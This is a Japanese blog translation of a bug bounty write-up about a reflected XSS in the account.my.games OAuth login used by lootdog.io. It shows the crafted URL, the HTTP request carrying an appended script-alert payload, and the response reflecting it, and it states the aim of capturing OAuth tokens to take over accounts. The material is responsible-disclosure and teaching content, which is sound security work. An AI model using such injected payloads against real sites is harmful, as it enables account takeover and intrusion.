Shikata Ga Nai

Private? There is no such things.

Reflected XSS on a Public Programを訳してみた

Hello there, ('ω')ノ

 

公開プログラムに反映されたXSSを。

 

脆弱性:

 反射されたXSS

 

記事:

 https://thevillagehacker.medium.com/reflected-xss-on-a-public-program-e8c0416daca1

 

今回は、HackerOneの公開プログラムのいずれかでXSSを見つけることに。

HackerOneのスコープが広いmailruからhttps://lootdog.io/をターゲットに選択して。

Oauthリクエストで意図しない動作を見つけたので。


テクニカル分析:

https://lootdog.io/からのログイン要求をインターセプトしてリピータに送信して。

Oauthの動作を観察して。

https://lootdog.io/は、https://account.my.gamesをOauthサービスとして使用して。

ログインをクリックすると、https://account.my.gamesにリダイレクトされ。

正当なアカウントを持っている場合は、ログインできて。

 

そこで、Reflected XSSまたはOpenリダイレクトの問題をチェックして。

Oauthトークンを取得してユーザのアカウントを引き継ぐことに。

以下のように、リクエストのキー設定された値の最後に。

追加のパラメータを追加して。

 

 &Set-Cookie: <script>alert(“Hacked By Deathstroke”)</script>

 

最終的に作成されたURLは次のようになって。

 

https://account.my.games//oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script>

 

URLの最後にペイロードを挿入した後、以下のようにリクエストを送信し。

レスポンスを観察して。


リクエスト:

GET /oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script> HTTP/1.1 Host: account.my.games 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: https://lootdog.io/ 
Connection: close

 

応答:

<script>alert("Hacked By Deathstroke")</script> HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 3982 
Vary: Origin

 

ただし、残念ながら、その時点での応答にはアクセストークンは反映されておらず。

この問題が他のセキュリティ上の脅威を引き起こす可能性があるため。

プログラムに報告することに。


コンセプトの証明

f:id:ThisIsOne:20220414230437p:plain

 

HTTP応答に反映されるペイロードが機能したようで。

 

f:id:ThisIsOne:20220414230456p:plain

 

Best regards, (^^ゞ